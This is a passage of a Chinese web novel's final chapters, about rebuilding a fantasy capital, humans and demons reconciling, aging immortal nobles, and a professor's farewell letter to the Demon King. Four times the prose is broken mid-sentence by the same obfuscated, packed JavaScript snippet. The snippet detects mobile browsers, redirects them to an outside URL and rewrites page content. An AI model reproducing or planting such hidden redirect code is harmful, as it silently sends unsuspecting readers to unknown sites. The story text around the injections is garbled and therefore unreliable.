[话说回来主播这个视角也不像是在地面拍摄的，罗德里斯公寓难道还存活着？那里是什么风水宝地，我以后买房就打算买那边的了。] [那边是老城区吧，房价还算便宜的。] [噗，你们要对着这么一片地讨论房价？认真的吗？如果真的要在峡谷重建城市，感觉格局会有变化的吧，毕竟现在是什么都没有的状态，水电管道那些估计也都损毁了。] [主播还没有回答问题呢！] [主播人呢，怎么突然不说话了？不是被怪物吃了吧？] [镜头还在动，人应该在的。] “刚才向房东征询了一下意见，她同意我在这里公开罗德里斯公寓没有被损坏的秘密。这是一栋配备了强大魔法道具的建筑，可以抵挡一定程度以内的魔法和物理攻击，而且公寓里还有魔力法场强大的存在，可以展开坚固的防御力场，在这些要素的共同作用下，公寓成了整个王都少数被保留下来的建筑。” [贵族院呢？难道贵族院也没了？] [好像是真的！！刚才扫过去那个镜头就是贵族院的方向。] [连贵族院都防不了的灾难，居然被旧城区一栋破公寓防住了，贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749192|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族院这下是丢脸丢到旧帝国去了吧！] [不是吧，好像有几个地方还有建筑没塌，可能里面有布置过防御类的魔法？要么就是攻击没有溅射到，贵族院的防御不至于这么差劲。] [我看怎么到现在还没问，那我就不客气了，罗德里斯公寓里住的都是什么人，好像水平有点超过了哈。] [我也想知道，如果有什么新的防御魔法阵，希望得到推广。] [呵呵，到时候肯定有人靠这个大赚特赚。] [主播的东家不是在参加创业竞赛吗？要不是比赛提前被中止了，就凭罗德里斯公寓没有塌，高低也得给个一等奖吧？] [话说回来，那个怪物是七贵族出面解决的吗？他们有露面吗？] [贵族院不是已经没了吗？我看他们要不是跟着逃难的人一起离开了王都，要么就是给他们那栋尊贵的大楼陪葬了.] [啊？这么没用的吗？搞了半天怪不是他们打的，应急服务也不是他们提供的，感觉这个政府组织已经可以被取缔了，笑。] [如果日子还能恢复正常，我发誓以后要好好对待魔族。] [你失心疯啦？] [支持和平共处。] [前面说失心疯的知不知道要是没有魔族你连这句话都发不出来好吗？支持和平共处。] [就怕以后要变成我们人类给魔物们打工啰，说支持的你们还笑得出来吗？] [我现在就在一个幽灵手下打工，待遇挺好的，感谢老板让我摆脱失业，不然我就要流落街头了。] “贵族院的成员其实也有参与到消灭怪物的战斗中，这算是一次人类和魔族的合作行动吧。” [果然，只有出现一致的敌人，两个种族才能坐下来谈合作呢。] [这算是贵族院给出的态度了，以后魔族的境遇肯定会改善的。] [主播主播，可以让我们看看贵族院的成员都长啥样吗！] [好奇+1，一直怀疑他们到底是不是真人，以前在杂志上看到说七贵族其实是七台超级计算机。] “目前在场的只有四位，我去问问他们愿不愿意露脸。” “可以。” 视野从室外变成了室内，一阵晃动，主播正在下楼梯，画面快速地移动起来，期间镜头模糊不清地划过好几张脸，最终落在坐姿各异的四名男性身上。 橙色头发的少年正在昏睡，脑袋倚在面容粗犷、身材高大的男性肩上，坐在中间的另一名男性身穿制服，像小学生一样规矩地坐着，最边上是银白色头发的青年，双手抱在胸前，不配合地将脸扭到一边。 [救命，这是什么艺人组合，我看可以原地出道了。] [怎么没有女孩子啊？其他三个没出镜的是女性吗？] [不是……这真是七贵族？所以我们的政府其实就是一群小年轻在过家家？] [那我看还不如让罗德里斯公寓的负责人原地建国算了，我估摸她比贵族院有用点。] 薇薇安将这条弹幕念了出来，同时窥伺着四人组的表情。 而那四个人（包括睡着的那位）看起来全都心不在焉。 131. 依依不舍 * 在大灾祸时期作为信息交换中心存在的魔法公寓直播间由公寓的住民轮班主持。 三名魅魔一族的成员与大巫妖文森特分成四班，每六个钟头轮一班，以保证时刻有人管理直播间，并向全国观众播报实时信息。 在赫尔马岱矿地工作的工人们通过传送阵被转移到王都，开始从事道路铺设工作。 参与施工的不仅有原先就受雇于工地的魔族工人，也有为数不少新招募的人类工人，另外还有针对该类工程进行用途特化的工程机械和魔法机械。 在此期间，不断有人从外地返回，志愿投入到城市重建的工作中，其中不乏具备专业知识的工程师和工地负责人，他们的到来大大提升了修复的效率和精度。 都城残存的那些建筑，包括一栋高级商业中心、一座大学图书馆和零星几处居民住宅成了这些回城市民的住处。 贵族院没有被彻底摧毁，只是大多数在后期扩建的部分已经无法挽回，遗留在那片土地上的，只有最初被建造起来的那栋比三层别墅大不了多少的楼房。 “虽然那时候大家都说没有必要，不过殿下还是执意在地基中加入了守御魔法，现在看来，还真是有先见之明。”波诺在返回贵族院查看情况的时候，忍不住如此感叹了一句。 “你最好少提，那可是阿加雷斯的痛处。”贝尔霍特不知从什么时候变得善解人意起来。 波诺露出不解的表情：“怎么回事？” 贝尔霍特没有接话，跟在布劳斯身后，迈步走进了那个黢黑狭窄而令人怀念的门洞。 “那个时候发生什么了吗，贝尔霍特为什么要那么说？”波诺机敏地揪住阿斯代伦，大有不听到回答就不放手的意思。 阿斯代伦斜了他一眼，本不打算说话，但不知为何最终改变了主意：“你知道的，阿加雷斯人很好，但不是谁都能走进他心里的。” “嗯，在帝国的时候我年纪还很小，但也觉得他是一个正直过头，以至于难以接近的人。” “也许他的内心也有叛逆的一面，但是身为帝国继承者的压力，让他不得不始终以最完美的形象出现在人们面前。” “是吗？这倒让人意外。你的意思是他并不是主动选择变得那么优秀的？” “也不是这个意思。我想，就算他成长在普通的家庭里，也会变成一个拥有高尚品质的人。但他自己并不那么认为，他觉得自己的高尚不过是一种出于身份的伪装，他没有造福过任何人，所以没有资格接受人们的顶礼膜拜——我是说离开帝国前。” “那之后呢？” “他带着愿意离开的人们离开了帝国的残暴统治——” “稍等一下，阿斯代伦，他有什么必要做那种冒险的事？等皇冠落到他头顶，他自然就能当一个造福百姓的皇帝。” “看来这三百年我们都太放纵你了。亏你在贵族院呆了这么久。很多事情并不是皇帝一个人说了就能算的。旧帝国的一整套权力体系都充斥着剥削和暴力。而那个时候，阿加雷斯并不是一个勇敢到能和那些东西抗争的人。” “我明白了，表面上是出走，实际上是逃离。” “很刻薄，但是没错。比起抗争，他选择了逃离。” “但是逃离也需要很大的勇气，不是吗？他明明可以高枕无忧地当一个皇子。” “想改变而无法改变的痛苦已经超越了他对新世界的恐惧。” “好吧，这就合理了。然后呢——他带着跟他离开的人，找到了这片土地。” “不仅如此。” “嗯哼？” “他见到了自己的理想。他理想中的君王，他理想中的权力形态，他理想中的国家。” “你是说三百年前的那位魔王，三百年前的那个魔法王国？” “正直、高洁、智慧的君王，绝对有效的权力，无所不能的魔法。他一下子就被那位魔王折服了。他们两个人的关系好得让我都嫉妒。” “呃……那后来为什么会发生战争？他们的友谊破裂了？” “你知道，那时候人类和魔族的语言并不相通。由误解引发争执，争执引起争端，总之，等回过神来的时候，战争就已经开始了。” 阿斯代伦拖着波诺走进了那栋古老的别墅，黑暗而潮湿的空间让人感到有些不适。 “我对这地方几乎没有印象。”波诺嘟囔道。 “你进入贵族院的时候，这里已经被扩建过好几次了。”阿斯代伦说，“希望兰登和蒂德莉呆在了安全的地方。” “我也希望她俩安好，尤其是蒂德莉。”波诺说，“但你别想就这样岔开话题，跟我说说，后来又发生了什么？” “当时魔王格兰德已经处于生命末期，很少出现在宫殿外面。事情很快就演变到大贵族下场的地步，当格兰德意识到悲剧发生时，他只来得及将目标最大的罗德里斯封印起来，他本来可以控制住所有战斗中的魔族，并保护他们全身而退——也许那样，我们可以通过谈判获得某种程度的和平。” “看来中间发生了一些意外？” “格兰德刚刚封印罗德里斯，蒂德莉就砍掉了他的脑袋。”阿斯代伦用一种讨论天气般的寻常语气把这一可怕的过往说了出来，“然后，一切就都无法挽回了。” “找到了，在这儿！”贝尔霍特的声音突然从前面飞了出来。 波诺立刻精神一振：“看来蒂德莉她们还活着！”说着便跑向声音传来的二楼。 阿斯代伦摇了摇头：“是你让我不要岔开话题的……” * 赫尔马岱的工作暂时被雷诺阿接管，亚历山大、安德烈本就是能够独当一面的管理者，露西也提供了很多帮助。 维克多和布莱克被叫回王都，组织各方面的事宜，除了已经走上正轨的道路修复工作，还有更加迫在眉睫的水电疏通，每样都是大事。 “既然您已经收回了至高魔力，为什么不把它用在城市的重建上呢？那样就没必要兴师动众了。” “你是在向我抱怨工作辛苦吗？” “不，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758693|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还游刃有余。爱丽丝也在帮我。我只是好奇。” “如果那样的话，人类会如何看待这个新建的城市，如何看待魔族，以及如何看待魔法呢？他们会感到恐惧，还是会因为不劳而获而感到欣喜若狂？比起在人性上进行赌博，我更倾向于将这种力量隐藏起来。” “但是人们都已经发现，罗德里斯公寓不是一个简单的地方。” “没有人看到怪物到底是怎么被打败的不是吗？文森特会愿意为此编写一个合情合理的故事，告诉人们我们只是在其中贡献了一部分力量。” “也就是说，您并不打算将自己的身份公之于众？” “我希望有一天，魔族与人类能在这片土地上和谐共处。” 没有关紧的办公室门外响起一阵可疑的声音。 幽灵迅速穿墙而过，将红色头发的魔族少年抓了个现行：“你在偷听什么？” 蒙多被押到魔王面前，脸上的表情一如既往地别扭：“怎么了，又不是什么不能让人听到的事情。” 魔王认真地看着他，脸上带着不置可否的微笑：“这不是你第一次‘偷听’到这些话了，不是吗？” 蒙多的眼眶一下子红了：“那是老大说过的……” 维克多虽不了解细节，但似乎明白了什么，他看着年轻的魔王，像一个年长者一样宽容地笑了起来：“希望这个世界能如您所愿。” “但是如果真的有什么特别棘手的事情，我也不介意秀一下身手。”魔王狡黠地眨着眼睛，像是炫耀似的打了一个响指，烟花一般的魔法闪光在她的指尖四散开来。 这时候，有人敲了敲本就打开的房门。 阿加雷斯像拜访教师办公室的学生一样规规矩矩地站在门口。 维克多立刻押着蒙多离开房间，并引起了后者的强烈不满。 “放开我！”的声音直到两人的身影完全消失，也久久没有消散。 阿加雷斯在魔王对面的座位上坐了下来。 魔王低下头，握着一支笔，唰唰地在纸上写着什么，过了好一会儿才问：“有什么事吗？” 她抬头看向访客，发现他的脸色不好。 “关于在那个空间里发生的事……”他慢慢说道，“为什么你确定那只是生命之树的恶念，而不是真正的邪神呢？如果那个幻影欺骗了你……”他似乎很在意她在那时的选择。 魔王有些意外地看着他，想了一会儿，答道：“我从来不知道格兰德长什么样，但在看到那个身影的一瞬间，我就知道那一定是格兰德。所以他一定是真的。” “那你小时候为什么会把我认作格兰德呢？”阿加雷斯问。 魔王愣了愣，嗫嚅道：“可是我已经不记得那时候的事了。” “我亲手删除了你的记忆。”阿加雷斯说，“那时候我还以为，或许有一天我会有机会将它再次恢复，然而等到回过神来，我已经再也没有那样的魔法了。” 魔王转了一下笔杆，突然坏心眼地说道：“你是在舍不得吗——至高魔力？” 132. 时光倾泻 阿加雷斯在很小的时候就憧憬过魔法这种东西，这种对他们那个国度的人来说，只存在于故事中的东西。 “雷，那只是传说罢了，魔法是不存在的，你应该好好练习剑术。” “我会努力的，但不意味着我认可了你的说法，如果魔法不存在，那么关于魔法的故事又从何而来？” “来自人们的愿望。在自然面前，人类的力量太渺小了，所以他们希望自己能够掌握某种力量，能够和上天抗衡的力量。” 在很长的一段时间内，阿加雷斯对这个说法半信半疑。 信是因为他觉得母后的话很有道理，疑则是因为他还不想就这么放弃儿时的幻想。 他没有想到自己会在将来的某一天掌握真正的魔法，而且是足以通天彻地的，王的魔法。 他也没有想到，与心愿达成相伴而来的，是长达三百年的愧歉和痛苦。 “那本来就是你的东西，我有什么资格说舍不得？” “听起来像是肯定。” “不。我从没想过那种事。只是……只是……”阿加雷斯犹豫起来。 魔王轻声地催促道：“只是什么？” 阿加雷斯原本陷在沙发里，突然将背直了起来，但是才过了没多久，便又陷了回去：“……我也想看到那样的世界，只是来不及了。” 尽管已经过去了三百年，尽管在这三百年里他总是有意避免回想和格兰德在一起的场景，但两个人曾共有过的愿景一直深深埋在他的心底，在他自己都没有觉察到的时候破土，生根，发芽。 [我们要学习彼此的语言，交换各自的技术，互相帮助，取长补短。] [我们要了解对方，破除对异族的恐惧，相互理解，和谐交融。] [我的族人智慧而勤劳，热衷以双手建造家园，创造美好生活。] [我的族人淳朴而有力，喜欢玩耍，喜欢嬉戏，喜欢帮助别人，也喜欢被别人帮助。] [如果有一天——] [如果有一天，我们能建立一个新的王国，两个天渊之别的种族能够生活在一起，这片大陆会变得更加多彩。] [没有压迫，没有奴役，没有贫穷。] [充满活气，充满欢欣，充满幸福。] 魔王的声音出现了动摇：“……什么来不及了？” 她从办公桌后面站了起来，走到阿加雷斯面前，一条腿折起，膝盖搁在沙发上，上半身微微前倾，屏息凝神地注视着他的面庞，他的鬓角，打量着发生在这张脸上的每一个变化。 他仍然是不久前在便利店里初遇时的样子，年轻，英俊，爽朗。 但身上却散发着一种与那时截然不同的气息。 衰老已至，死亡将临。那是枯叶的气息，灰烬的气息，干涸的河床的气息，腐朽白骨的气息。 一切象征着衰竭的气息。 “阿加雷斯，你……” 这本来是早有预料的情况，也是她之前迟迟不愿收回力量的原因之一。 那不公正的三百年时光，将在一瞬倾泻，报复这些贪心不足的窃贼。 魔王感到一阵痛心，这种感觉她在过去也曾有过。 和罗德里斯基地的朋友们永别的时候，和萨利吵架的时候……但这次似乎更加深切一点，并且这种深切还掺杂着某些微妙的成分。 她想起那些直击灵魂的共振，以后或许再也感知不到了。 当她成为一个完整的魔王，就有一些东西永远地从她身上消失了。 正直，高洁，智慧——那些消失的东西成为了填补这些品格的代价。 她像即将离开父母的幼童一样流下眼泪。 阿加雷斯用拇指蹭了蹭她的眼角，好像明白了这些液体的来由，他像是一个安慰受伤晚辈的长者一样温柔地说道：“生命之树重新长出了树冠，以后，上面就会结出新的魔王之卵，你不会是一个人。” 魔王并不单纯是指魔族的君主，它也指代着一个孤独的种族。 * “所以根本就没有什么能够维持长生不死的魔法对吗？”波诺担任了这个沉默空间的破冰者，他有些责怪地看着阿斯代伦，而后者的视线落在那张柔软的、少女风格的床上。 兰登闭着双眼，神情安详地躺在被褥中，她仍维持着众人记忆中的面容，但她所透露出的死亡气息却传递着寿终正寝的信号。 蒂德莉则静静趴在床沿上，一动不动，身躯冰冷，她穿着引以为傲的多层蛋糕般的裙子，像一只巨大的陶瓷娃娃。 和兰登一样，她也已经失去了生命的气息。 “喂，意思是说，我马上也会变成那种样子，对不对！”贝尔霍特情绪激动地扯住阿斯代伦的前襟，“你、你、你把核心还给我！” “如果能用魔法维持永久的生命，也就不会出现什么魔王的代际传承了。你们难道从来没有考虑到这一点吗？”阿斯代伦没有理会贝尔霍特的无礼，斜眼看向波诺，“你能够维持青春，从来不是因为阿加雷斯的魔法，而是因为我很早就把炼狱兽的核心交给你了。” “你为什么要把炼狱兽的核心藏起来？”站在一旁的布劳斯开口问道。 阿斯代伦镇定自若：“我们只有七个人，核心却有八颗，恐怕不太好分吧？” “你们会打起来。”波诺嗫嚅道。 “我们现在只剩下四个人了。”布劳斯说。 “六颗核心。”阿斯代伦比了一个三，指指自己，又比了一个二，指向布劳斯，最后比一，指向波诺。 贝尔霍特嚷嚷道：“不管哪种，总之给我一颗就行，我不想马上死掉。” “这三百年你没有活够，难道你还想看看新世界？”阿斯代伦说。 贝尔霍特低下头，有些惆怅地说道：“我以为只是让身体的时钟继续行走，没想到立刻就要直面死亡。我还没有体会过成为一个老人是什么滋味呢。” 波诺说：“我也有这种想法。我无意一直霸占着炼狱兽的核心，但我也不想马上死掉。” “你们的问题，你们自己解决。”阿斯代伦甩开了贝尔霍特揪着他衣服的手，“不想马上死掉的话，不如向布劳斯求求情，让他分一颗核心给你。” “那你呢！”说话的是布劳斯。 “我这里的三颗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766309|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算物归原主。”阿斯代伦说。 “我觉得……我们应该为这两位老朋友送别。”波诺说。 飘荡在这个充斥着死亡气息的房间之内的，并不是一种能够称之为悲伤的情绪。三百年的友谊固然源远流长，但漫长的时间也冲淡了他们对死亡的恐惧，和对离别产生的不舍。 也许他们的内心早就在期盼这一天的到来。 长生不老到底是不是一件快乐的事，只有真正体会过的人才有资格讨论。 “有需要的话，我可以为她们火葬。”波诺的掌心燃起一团火焰。 “别在这儿烧，房子会被毁掉的。”布劳斯白了他一眼。 四个人决定把尸体带到室外焚烧，然后让她们入土为安。他们用了记忆中操持葬礼的方式，用木头为她们搭建了去往彼岸的寝台，然后放了一把大火。 “话说回来，韦斯特尔不是和那个怪物合为一体了吗？那巫妖核心岂不是也永远消失了？” “这就不是我们需要考虑的问题了。” “贵族院呢？就这么解散了吗？难道你们打算把政治权力让渡给魔王？” “我觉得也许会出现议会之类的制度吧，人类和魔族都能说得上话的那种。” “哦，好吧，你们有人要参加吗？” “布劳斯，你就说你愿不愿意给我一颗核心吧，直截了当点。” “烦死了！我打算三十年之后就把核心还给魔王，然后死掉，听懂了吗！” “噢，看来我们的想法不谋而合，只要你愿意给我一颗核心，我答应三十年后和你一起把那东西还给魔王。怎么样，没有老朋友的话，三十年会过得很无聊的哦。” * 大灾祸消失的三个月后。 天气开始渐渐变凉，更加适宜露天工作。 神圣峡谷中原本属于老城区的一带最先得到建设，道路和各种公共设施粗具雏形。 在魔法学生和媒介商人们的出谋划策之下，以及罗德里斯公寓赞助的大量星屑，王都搭建了一套以魔法为核心的包括水、电、通讯等在内的基础设施网络，让全国不至于长期处于没电没网的不便状态。 这套临时系统在建成的同时就被列为了城市应急设施设备的重要一环，在日后出现大规模资源瘫痪的时候可以立刻发挥作用。 除此之外，一些文化、公益活动也在都城各地举办，为重建家园的劳动者们提供精神上的支持。 比如各种小型的巡演，流动图书馆，跳蚤市场…… 其中阿尔弗雷德·雷克斯举办的画展给人们留下了深刻的印象。 [这个家伙人品不咋样，但作品的情绪价值真的很高。] [就不要硬要求搞创作的人德艺双馨了啰……] [你们吃点好的行不行？] 这位青年艺术家在灾难发生时昏倒在王都郊区的一栋居民楼里，而那栋楼不知被施加过什么魔法，竟然成了这座被毁坏的城市中少有的被保存下来的建筑。 怎么说……他在昏倒前曾期盼“真神”为他解决的麻烦，确实烟消云散了。 一切都要重新开始了呢。 133. 你的名字 露西·法日那把自己的教学团队调动到王都，为中断学业且没有门路到其他城市上学的“王都留守儿童”提供义务教学的服务。 在魔法结界保护下躲过一劫的王都医院和赫尔马岱的恶魔研究所开展合作，在接受人类患者之余，开辟了专门接待魔族的诊室，并考虑在城市基本完成重建后正式申请一个新院区，用于接诊魔族病患。 看到这一切真的在有条不紊地发生时，魔王忍不住想，如果老吸血鬼还活着的话，一定会感到非常欣慰。 阿加雷斯去旅行了，也许是想要给自己找一个不为人知的长眠之所。 他在离开之前将一堆厚厚的稿纸交给了魔王。 [如果一个魔族在死亡时仍保持肉身的完好，魔王就能通过命令将其复活。] [不过并不是完全的复活，而是会随机变成骷髅和幽灵中的一种，极少数情况下会变成食尸鬼，总有魔族说，如果死后要变成食尸鬼的话，他宁可选择魂归大树。] [话虽如此，据我观察，食尸鬼并没有在魔族社会中受到显著或隐性的歧视。] [……另外，必须要说明的是，骷髅、幽灵和食尸鬼并不全是死而复生者，他们也会自然从生命之树上诞生，只是数量比较少。] [……也就是说，魔族在彻底死亡之后，灵魂会回归生命之树。有些会变成叶子，有些变成新的枝条，当然，也会有变成果实的——这恐怕就是我们人类所谓的轮回转生了。] [……] [——《勇者笔记·第四卷》] 魔王想起那个充盈着骷髅的地下基地——那些骷髅中，有多少是自然诞生的，又有多少是出于格兰德的执念而被复活过来的呢？ 魔王经常去看望生命之树，看看今天又多了几颗果实，看看枝叶是否更加茂盛，看看最高的枝条上有没有新的动静…… “您还太年轻了，我想，至少还要再过一百年，新的魔王之卵才会出现诞生的迹象，当然，也有可能需要更久。”维克多说，“放心，我会一直陪您等的。” [幽灵和骷髅有着无尽的寿命，除非遭受致命伤，或者说他们真的活腻了，就会回到生命之树身边，在他们诞生的地方主动选择长眠。] “你看，那颗果实是不是有些不同？”魔王突然伸出手，指向不高不矮的一条树枝。 上面挂着树枝的编号，以及一颗澄亮得像巨大黑曜石一般的卵果。 当她看清编号牌上的数字时，她意识到这是乌瑟兄妹诞生的枝条。 [很多时候，生命之树的枝条总是喜欢生产固定种类的果实，很多巨魔都来自同一根枝条，魅魔则来自另一根相同的枝条……这不是必然的，只能说是在统计学上会被认为是具有显著性的规律。] “那会是一只小巫妖，还是一只小兽人呢？” “我想会是一位深渊巫妖。”维克多轻轻地耸了耸肩膀，“……不太准确，这应该是一位大贵族。一位被赋予了新的巫妖核心的大贵族。” 说到大贵族，阿斯代伦交还了他所持有的三颗核心：吸血之王、大狮鹫，以及死灵。 维克多继承了死灵核心，而乌鸦接纳了大狮鹫核心，剩下吸血之王的核心——身为血族成员的古斯塔夫无疑是魔王身边最有资格继承这颗核心的近臣，但是这只小蝙蝠对自己的亚种身份有些自卑，推辞了很久。 他坚持应该由一位真正的吸血鬼来担任吸血之王，而不是一只卑微的吸血蝙蝠。 他的借口没有说服魔王，但魔王也不想用“强权”逼迫他接受。 或许他内心其实是对担当大任一事有所期待，只是其成长经历让他难以彻底摆脱自贱的恶习…… 在经历了一段时间的挣扎之后，他终于来到魔王面前，接受了这份隆重的授勋。 至于其他几颗核心，炼狱兽核心在波诺那儿，巨魔核心在布劳斯那里，暗夜核心则被贝尔霍特要走了。 他们与魔王订下了三十年的约定。 无需担心他们在三十年后会不会破坏约定，因为魔王的命令对他们仍保有强制的效力，更何况随着名为“恶念”的“信仰”消失，新型魔女不受绝对权力限制的“症状”也一去不复返了。 恶魔研究所建立了新的项目，试图研究能否将魔女还原为深渊巫妖，同时寻找能够提升其生命体验的方法。 就算还原研究最终没有成功，也能有效改善魔女们的健康状况。 * 寒冷的气温宣告冬天的降临。 位于峡谷地貌中的王都并不会体验到严寒刺骨的感觉，但一个遮风挡雨的屋檐还是非常有存在必要的。 万幸前几个月的施工已经基本满足了返乡市民的居住需求。 各种市政业务也在眼下接近无政府的状态中有序地开展了起来，包括户口的登记及迁动，新生和死亡的申告，新增建筑的规划及产权归属…… 其中还有一项没那么紧迫，但也对为数不少的学生群体产生影响的业务——入学和毕业的登记。 很多非毕业生为了避免麻烦，直接在其他地区入学，但刚好在这个时间段毕业的学生要考虑和处理的事情就比较多了。 魔王也犹豫过自己是否应该去申请一份恩斯法内大学的毕业证书，但能够作为材料提交的毕业论文着实困住了她。 原本被她寄予了毕业希望的创业大赛因为中途停办，使她无法拿出必要的获奖证书作为替代材料。 布莱克和佩吉都安慰她说毕业证书对她无足轻重，连她自己也说不上来这样一份文件是否值得她大费周章。 在一个下雪的白天，一份档案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13777020|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋通过疾力快递被送到魔王的桌上。 信件来自远方小城福恩克，寄件人署名达尔·达曼。 档案袋里是一套齐全的研讨会报告，以及老教授亲自提笔的推荐信。 据说这些材料能够代替毕业论文完成毕业资格的认证和毕业证书的申请。 此外还附有一封冗长的亲笔信，在此仅截取其中一部分内容： 妮娜·斯特尔，我亲爱的学生，希望你最近过得安好。 我一直想说，把毕业的指望寄托在一场比赛上并不靠谱，更何况由于众所周知的原因，那个倒霉的比赛还被取消了。 幸运的是，人们，以及这个社会，暂时没有余力去关注一个学生是否顺利从学校毕业。 但我知道，你一定记挂着这件事。 而且我也知道，这件事有着不一般的意义。 自黄金时代落幕以来，再没有魔族从这个国家的高等学府毕业。 我想你作为一位不寻常的魔族成员，理应开一个好头，所以我为你准备了一些材料，希望能对你有所帮助。 不，它们必须对你有所帮助。 …… 我有些问题想要问你。 你只需要在心中回答。 你是否还记得自己在参赛的申请书上写下的理想，而那些理想如今完成了多少？ 你在帮助自己族人的同时，如何看待将你养育长大的另一个种族？ 你仍在致力于创造两种智慧种族能够和谐相处的世界吗？ 你是否看到了人类与魔族在这片大地上共存的未来？ …… 或许你做到了。 你的族人称呼你的真名，抑或尊敬地称你为陛下？ 另一个种族的成员则以畏惧和好奇的心情称你为魔王——我在近期的报刊上看到媒体都是这么表述的。 不过，在我的教学名册上，妮娜·斯特尔这个名字永远不会被抹消。 这个名字看起来稀松平常，不太符合一名王者的身份，但它见证了两个曾经水火不容的族群的共生。 来自魔族的名字，和来自人类的姓氏。 你肩负着两份责任，而且把一切打理得井井有条。 未来仍像你来办公室找我那天一样迷茫，但我相信你有勇气和能力做出决断。 有你这样的学生，我感到非常自豪。 请在你所坚信的道路上继续走下去吧。 我虽然已经不再年轻，但说不定还能活上二三十年，好像足够我开始一段新的人生征程了。 当我离开这个世界的时候，我希望它已经成为一个更加美好的地方。 一定会的吧？ 有机会的话，再见。 达尔·达曼 ——THEEND——